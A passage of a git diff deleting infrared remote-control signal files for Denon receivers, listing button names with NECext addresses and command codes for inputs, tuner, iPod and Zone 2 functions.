-protocol: NECext -address: 04 01 00 00 -command: 22D 00 00 00 -# -name: RESTORER_MODE_2 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 22E 00 00 00 -# -name: RESTORER_MODE_3 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 22F 00 00 00 -# -name: SS_AUDIO_DELAY -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 26C 00 00 00 -# -name: AUDIO_DELAY_MODE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 26C 00 00 00 -# -name: AUDIO_DELAY_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 26D 00 00 00 -# -name: AUDIO_DELAY_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 26E 00 00 00 -# -name: INFO_/_OSD -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 270 00 00 00 -# -name: DSX_ON_HEIGHT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 282 00 00 00 -# -name: DSX_ON_WIDE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 283 00 00 00 -# -name: DSX_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 284 00 00 00 -# -name: STATUS_REQUEST -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 285 00 00 00 -# -name: DSX_ON_WIDE+HEIGHT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 287 00 00 00 -# -name: INPUT_IPOD -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 29B 00 00 00 -# -name: HDMI_MONITOR_SELECT_1 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 29D 00 00 00 -# -name: HDMI_MONITOR_SELECT_2 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 29E 00 00 00 -# -name: INPUT_AUX/NET/USB/ONLINE_MUSIC -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2C7 00 00 00 -# -name: INPUT_TUNER_XM -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2CA 00 00 00 -# -name: INPUT_DTU_/_HD_RADIO -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2CB 00 00 00 -# -name: INPUT_AUX/NET -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2CC 00 00 00 -# -name: INPUT_AUX/IPOD/DOCK -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2CD 00 00 00 -# -name: INPUT_AUX/USB -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2CE 00 00 00 -# -name: INPUT_HD_RADIO -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2CF 00 00 00 -# -name: INPUT_BD -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2D1 00 00 00 -# -name: INPUT_GAME -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2D5 00 00 00 -# -name: INPUT_GAME_2 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2D7 00 00 00 -# -name: INPUT_VCR4 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2D8 00 00 00 -# -name: INPUT_AUX_2 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2DA 00 00 00 -# -name: INPUT_BD/DVD/HDP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2DC 00 00 00 -# -name: INPUT_VCR_1/2 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2DD 00 00 00 -# -name: INPUT_VCR_3/4 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2DE 00 00 00 -# -name: INPUT_VCR/DVR/MEDIA_PLAYER -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2DF 00 00 00 -# -name: MULTEQ_XT_32_TOGGLE_MODE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2E0 00 00 00 -# -name: INPUT_INTERNET_RADIO -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2E5 00 00 00 -# -name: DYNAMIC_VOLUME_HEAVY/MIDNIGHT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2EC 00 00 00 -# -name: DYNAMIC_VOLUME_MEDIUM/EVENING -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2ED 00 00 00 -# -name: DYNAMIC_VOLUME_LIGHT/DAY -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2EE 00 00 00 -# -name: INPUT_BLUETOOTH -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2EF 00 00 00 -# -name: HDMI_MONITOR_SELECT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2F1 00 00 00 -# -name: HDMI_MONITOR_SCALE/RESOLUTION -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2F2 00 00 00 -# -name: HDMI_ASPECT_RADIO_16:9 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2F5 00 00 00 -# -name: HDMI_ASPECT_RADIO_4:3 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2F6 00 00 00 -# -name: DYNAMIC_EQ_REF_LEVEL_0DB -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2F8 00 00 00 -# -name: DYNAMIC_EQ_REF_LEVEL_5DB -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2F9 00 00 00 -# -name: DYNAMIC_EQ_REF_LEVEL_10DB -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2FA 00 00 00 -# -name: DYNAMIC_EQ_REF_LEVEL_15DB -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2FB 00 00 00 -# -name: INPUT_SPOTIFY -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2FC 00 00 00 -# -name: INPUT_PANDORA -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2FD 00 00 00 -# -name: NET/USB_CURSOR/ARROW_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 300 00 00 00 -# -name: NET/USB_CURSOR/ARROW_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 301 00 00 00 -# -name: NET/USB_CURSOR/ARROW_LEFT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 302 00 00 00 -# -name: NET/USB_CURSOR/ARROW_RIGHT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 303 00 00 00 -# -name: NET/USB_ENTER/PLAY/PAUSE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 304 00 00 00 -# -name: NET/USB_PLAY -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 305 00 00 00 -# -name: NET/USB_PAUSE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 306 00 00 00 -# -name: NET/USB_STOP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 307 00 00 00 -# -name: NET/USB_SKIP_PLUS -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 308 00 00 00 -# -name: NET/USB_SKIP_MINUS -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 309 00 00 00 -# -name: NET/USB_REPEAT_ONE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 30A 00 00 00 -# -name: NET/USB_REPEAT_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 30B 00 00 00 -# -name: NET/USB_RANDOM_ON -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 30C 00 00 00 -# -name: NET/USB_RANDOM_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 30D 00 00 00 -# -name: NET/USB_REPEAT_ALL -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 311 00 00 00 -# -name: GRAPHIC_EQ_TOGGLE_ON/OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 315 00 00 00 -# -name: GRAPHIC_EQ_ON -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 318 00 00 00 -# -name: GRAPHIC_EQ_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 31F 00 00 00 -# -name: IPOD_CURSOR/ARROW_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 320 00 00 00 -# -name: IPOD_CURSOR/ARROW_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 321 00 00 00 -# -name: IPOD_CURSOR/ARROW_LEFT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 322 00 00 00 -# -name: IPOD_CURSOR/ARROW_RIGHT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 323 00 00 00 -# -name: IPOD_ENTER -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 324 00 00 00 -# -name: IPOD_PLAY/PAUSE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 325 00 00 00 -# -name: IPOD_STOP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 327 00 00 00 -# -name: IPOD_SKIP_PLUS/FORWARD -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 328 00 00 00 -# -name: IPOD_SKIP_MINUS/REVERSE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 329 00 00 00 -# -name: IPOD_SEARCH_FORWARD -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 32A 00 00 00 -# -name: IPOD_SEARCH_REVERSE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 32B 00 00 00 -# -name: IPOD_REPEAT_ONE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 32C 00 00 00 -# -name: IPOD_REPEAT_ALL -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 32D 00 00 00 -# -name: IPOD_REPEAT_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 32E 00 00 00 -# -name: IPOD_SHUFFLE_SONGS -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 32F 00 00 00 -# -name: IPOD_SHUFFLE_ALBUMS -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 330 00 00 00 -# -name: IPOD_SHUFFLE_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 331 00 00 00 -# -name: IPOD_MENU -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 332 00 00 00 -# -name: IPOD_MODE_BROWSE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 333 00 00 00 -# -name: IPOD_MODE_REMOTE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 334 00 00 00 -# -name: HDMI_CONTROL/CEC_ON -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 33A 00 00 00 -# -name: HDMI_CONTROL/CEC_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 33B 00 00 00 -# -name: HDMI_AUDIO_OUT_TOGGLE_TV/AMP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 33D 00 00 00 -# -name: HDMI_AUDIO_OUT_TV -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 33E 00 00 00 -# -name: HDMI_AUDIO_OUT_AMP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 33F 00 00 00 -# -name: PARTY -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 343 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 344 00 00 00 -# -name: INSTA_PREVIEW_TOGGLE_ON/OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 35B 00 00 00 -# -name: INSTA_PREVIEW_ON -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 366 00 00 00 -# -name: INSTA_PREVIEW_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 367 00 00 00 -# -name: ECO_MODE_TOGGLE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 368 00 00 00 -# -name: ECO_MODE_OFF -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 369 00 00 00 -# -name: ECO_MODE_ON -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 36A 00 00 00 -# -name: ECO_MODE_AUTO -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 36B 00 00 00 -# -name: OPTION -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3B5 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3BC 00 00 00 -# -name: RANDOM/SHUFFLE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3BD 00 00 00 -# -name: USB_DIRECT_PLAY -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3BE 00 00 00 -# -name: FAVORITE_DIRECT_PLAY -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3BF 00 00 00 -# -name: TUNER_PRESET_CHANNEL_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3CC 00 00 00 -# -name: TUNER_PRESET_CHANNEL_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3CD 00 00 00 -# -name: TUNER_PRESET_CHANNEL_SHIFT -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3CE 00 00 00 -# -name: TUNER_PRESET_SEARCH/RDS -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3D7 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3E0 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3E1 00 00 00 -# -name: TUNER_PRESET_SKIP/TUNE_DOWN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3E3 00 00 00 -# -name: TUNER_PRESET_SKIP/TUNE_UP -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 3E4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,2.ir deleted file mode 100644 index 3d6dc67f0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,2.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_NEW_TUNE_UP -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 90 00 00 00 -# -name: TUNER_NEW_TUNE_DOWN -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 91 00 00 00 -# -name: TUNER_NEW_PRESET_UP -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 92 00 00 00 -# -name: TUNER_NEW_PRESET_DOWN -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 93 00 00 00 -# -name: TUNER_NEW_SHIFT -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 94 00 00 00 -# -name: TUNER_NEW_BAND_TOGGLE_AM/FM -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 98 00 00 00 -# -name: TUNER_NEW_BAND_FM -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 99 00 00 00 -# -name: TUNER_NEW_BAND_AM -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 9A 00 00 00 -# -name: TUNER_NEW_MODE_TOGGLE_AUTO/MANUAL -type: parsed -protocol: NECext -address: 04 02 00 00 -command: 9C 00 00 00 -# -name: TUNER_NEW_MEMORY -type: parsed -protocol: NECext -address: 04 02 00 00 -command: A0 00 00 00 -# -name: TUNER_NEW_SEARCH/RDS -type: parsed -protocol: NECext -address: 04 02 00 00 -command: A3 00 00 00 -# -name: TUNER_NEW_RT -type: parsed -protocol: NECext -address: 04 02 00 00 -command: A6 00 00 00 -# -name: TUNER_NEW_PTY -type: parsed -protocol: NECext -address: 04 02 00 00 -command: A9 00 00 00 -# -name: TUNER_NEW_PRESET_1 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: B0 00 00 00 -# -name: TUNER_NEW_PRESET_2 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: B1 00 00 00 -# -name: TUNER_NEW_PRESET_3 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: B2 00 00 00 -# -name: TUNER_NEW_PRESET_4 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: B3 00 00 00 -# -name: TUNER_NEW_PRESET_5 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: B4 00 00 00 -# -name: TUNER_NEW_PRESET_6 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: B5 00 00 00 -# -name: TUNER_NEW_PRESET_7 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: B6 00 00 00 -# -name: TUNER_NEW_PRESET_8 -type: parsed -protocol: NECext -address: 04 02 00 00 -command: B7 00 00 00 -# -name: TUNER_NEW_SHIFT_A -type: parsed -protocol: NECext -address: 04 02 00 00 -command: F8 00 00 00 -# -name: TUNER_NEW_SHIFT_B -type: parsed -protocol: NECext -address: 04 02 00 00 -command: F9 00 00 00 -# -name: TUNER_NEW_SHIFT_C -type: parsed -protocol: NECext -address: 04 02 00 00 -command: FA 00 00 00 -# -name: TUNER_NEW_SHIFT_D -type: parsed -protocol: NECext -address: 04 02 00 00 -command: FB 00 00 00 -# -name: TUNER_NEW_SHIFT_E -type: parsed -protocol: NECext -address: 04 02 00 00 -command: FC 00 00 00 -# -name: TUNER_NEW_SHIFT_F -type: parsed -protocol: NECext -address: 04 02 00 00 -command: FD 00 00 00 -# -name: TUNER_NEW_SHIFT_G -type: parsed -protocol: NECext -address: 04 02 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,3.ir deleted file mode 100644 index 8a3ac0225..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,3.ir +++ /dev/null @@ -1,782 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ZONE2_DIGIT_1 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 10 00 00 00 -# -name: ZONE2_DIGIT_2 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 11 00 00 00 -# -name: ZONE2_DIGIT_3 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 12 00 00 00 -# -name: ZONE2_DIGIT_4 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 13 00 00 00 -# -name: ZONE2_DIGIT_5 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 14 00 00 00 -# -name: ZONE2_DIGIT_6 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 15 00 00 00 -# -name: ZONE2_DIGIT_7 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 16 00 00 00 -# -name: ZONE2_DIGIT_8 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 17 00 00 00 -# -name: ZONE2_DIGIT_9 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 18 00 00 00 -# -name: ZONE2_DIGIT_0 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 19 00 00 00 -# -name: ZONE2_CURSOR/ARROW_UP -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 1B 00 00 00 -# -name: ZONE2_CURSOR/ARROW_DOWN -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 1C 00 00 00 -# -name: ZONE2_CURSOR/ARROW_LEFT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 1D 00 00 00 -# -name: ZONE2_CURSOR/ARROW_RIGHT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 1E 00 00 00 -# -name: ZONE2_ENTER/SELECT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 1F 00 00 00 -# -name: ZONE2_AUDIO_FUNCTION -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 20 00 00 00 -# -name: ZONE2_VIDEO_FUNCTION -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 21 00 00 00 -# -name: ZONE2_RETURN/BACK -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 22 00 00 00 -# -name: ZONE2_MENU -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 23 00 00 00 -# -name: ZONE2_VIDEO_SELECT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 70 00 00 00 -# -name: ZONE2_FAVORITE_1 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: F2 00 00 00 -# -name: ZONE2_FAVORITE_2 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: F3 00 00 00 -# -name: ZONE2_FAVORITE_3 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: F4 00 00 00 -# -name: ZONE2_FAVORITE_4 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: F5 00 00 00 -# -name: ZONE2_QUICK_SELECT_/_USER_PRESET_1 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 124 00 00 00 -# -name: ZONE2_QUICK_SELECT_/_USER_PRESET_2 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 125 00 00 00 -# -name: ZONE2_QUICK_SELECT_/_USER_PRESET_3 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 126 00 00 00 -# -name: ZONE2_SURROUND_MODE_STEREO -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 130 00 00 00 -# -name: ZONE2_SURROUND_MODE_DIRECT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 131 00 00 00 -# -name: ZONE2_SURROUND_MODE_PURE -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 133 00 00 00 -# -name: ZONE2_SURROUND_MODE_STANDARD_(DOLBY/DTS) -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 134 00 00 00 -# -name: ZONE2_SURROUND_MODE_DOLBY_DIGITAL -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 138 00 00 00 -# -name: ZONE2_SURROUND_MODE_DOLBY_DIGITAL_EX -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 139 00 00 00 -# -name: ZONE2_SURROUND_MODE_DOLBY_PL2_CINEMA -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 13A 00 00 00 -# -name: ZONE2_SURROUND_MODE_DOLBY_PL2_MUSIC -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 13B 00 00 00 -# -name: ZONE2_SURROUND_MODE_DOLBY_PL -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 13C 00 00 00 -# -name: ZONE2_SURROUND_MODE_DTS_ES -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 141 00 00 00 -# -name: ZONE2_SURROUND_MODE_DTS_NEO6_CINEMA -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 142 00 00 00 -# -name: ZONE2_SURROUND_MODE_DTS_NEO6_MUSIC -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 143 00 00 00 -# -name: ZONE2_SURROUND_MODE_GAME -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 14D 00 00 00 -# -name: ZONE2_SURROUND_MODE_CINEMA -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 14E 00 00 00 -# -name: ZONE2_SURROUND_MODE_MUSIC -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 14F 00 00 00 -# -name: ZONE2_SURROUND_MODE_DSP_SIMULATION -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 150 00 00 00 -# -name: ZONE2_SURROUND_MODE_5/7/MULTI_CH_STEREO -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 151 00 00 00 -# -name: ZONE2_SURROUND_MODE_DSP_WIDE_SCREEN -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 152 00 00 00 -# -name: ZONE2_SURROUND_MODE_DSP_SUPER_STADIUM -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 153 00 00 00 -# -name: ZONE2_SURROUND_MODE_DSP_ROCK_ARENA -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 154 00 00 00 -# -name: ZONE2_SURROUND_MODE_DSP_JAZZ_CLUB -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 155 00 00 00 -# -name: ZONE2_SURROUND_MODE_DSP_CLASSIC_CONCERT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 156 00 00 00 -# -name: ZONE2_SURROUND_MODE_DSP_MONO_MOVIE -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 157 00 00 00 -# -name: ZONE2_SURROUND_MODE_DSP_MATRIX -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 158 00 00 00 -# -name: ZONE2_SURROUND_MODE_DSP_VIDEO_GAME -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 159 00 00 00 -# -name: ZONE2_SURROUND_MODE_DSP_VIRTUAL -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 15A 00 00 00 -# -name: ZONE2_INPUT_MODE_AUTO -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 160 00 00 00 -# -name: ZONE2_INPUT_MODE_ANALOG -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 161 00 00 00 -# -name: ZONE2_VOLUME_UP -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 170 00 00 00 -# -name: ZONE2_VOLUME_DOWN -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 171 00 00 00 -# -name: ZONE2_VOLUME_MUTE -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 172 00 00 00 -# -name: ZONE2_VOLUME_PRESET_1_(0DB) -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 174 00 00 00 -# -name: ZONE2_VOLUME_PRESET_2_(-20DB) -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 175 00 00 00 -# -name: ZONE2_VOLUME_PRESET_3_(-40DB) -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 176 00 00 00 -# -name: ZONE2_CHANNEL_SELECT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 176 00 00 00 -# -name: ZONE2_CHANNEL_LEVEL_UP -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 17B 00 00 00 -# -name: ZONE2_CHANNEL_LEVEL_DOWN -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 17C 00 00 00 -# -name: ZONE2_TEST_TONE -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 17F 00 00 00 -# -name: ZONE2_ALL_TREBLE_UP -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 190 00 00 00 -# -name: ZONE2_ALL_TREBLE_DOWN -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 191 00 00 00 -# -name: ZONE2_ALL_BASS_UP -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 193 00 00 00 -# -name: ZONE2_ALL_BASS_DOWN -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 194 00 00 00 -# -name: ZONE2_TONE_CONTROL_OFF_/_DEFEAT_ON -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 197 00 00 00 -# -name: ZONE2_TONE_CONTROL_ON_/_DEFEAT_OFF -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 198 00 00 00 -# -name: ZONE2_SURROUND_PARAMETER -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 1C0 00 00 00 -# -name: ZONE2_CINEMA_EQ_ON -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 1C6 00 00 00 -# -name: ZONE2_CINEMA_EQ_OFF -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 1C7 00 00 00 -# -name: ZONE2_SB_SPEAKER_MATRIX_ON -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 1F1 00 00 00 -# -name: ZONE2_SB_SPEAKER_MATRIX_OFF -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 1F2 00 00 00 -# -name: ZONE2_SB_SPEAKER_OFF -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 1F3 00 00 00 -# -name: ZONE2_SB_SPEAKER_TOGGLE_ON/OFF -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 206 00 00 00 -# -name: ZONE2_FRONT_SPEAKER -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 20A 00 00 00 -# -name: ZONE2_NIGHT_MODE -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 222 00 00 00 -# -name: ZONE2_RESTORE -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 224 00 00 00 -# -name: ZONE2_SURROUND_SPEAKER_SELECT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 228 00 00 00 -# -name: ZONE2_SYSTEM_SETUP -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 230 00 00 00 -# -name: ZONE2_AUDIO_DELAY -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 26C 00 00 00 -# -name: ZONE2_AUDIO_DELAY_UP -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 26D 00 00 00 -# -name: ZONE2_AUDIO_DELAY_DOWN -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 26E 00 00 00 -# -name: ZONE2_STATUS_REQUEST -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 285 00 00 00 -# -name: ZONE2_INPUT_IPOD -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 29B 00 00 00 -# -name: ZONE2_INPUT_INTERNET_RADIO -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2B3 00 00 00 -# -name: ZONE2_INPUT_SOURCE_SELECT -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2B4 00 00 00 -# -name: ZONE2_INPUT_PHONO -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2C0 00 00 00 -# -name: ZONE2_INPUT_CD -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2C2 00 00 00 -# -name: ZONE2_INPUT_AUX/NET/USB/ONLINE_MUSIC -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2C7 00 00 00 -# -name: ZONE2_INPUT_AUX/NET -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2C8 00 00 00 -# -name: ZONE2_INPUT_AUX/IPOD -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2C9 00 00 00 -# -name: ZONE2_INPUT_AUX/USB/SIRIUS_XM/HD_RADIO -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2CA 00 00 00 -# -name: 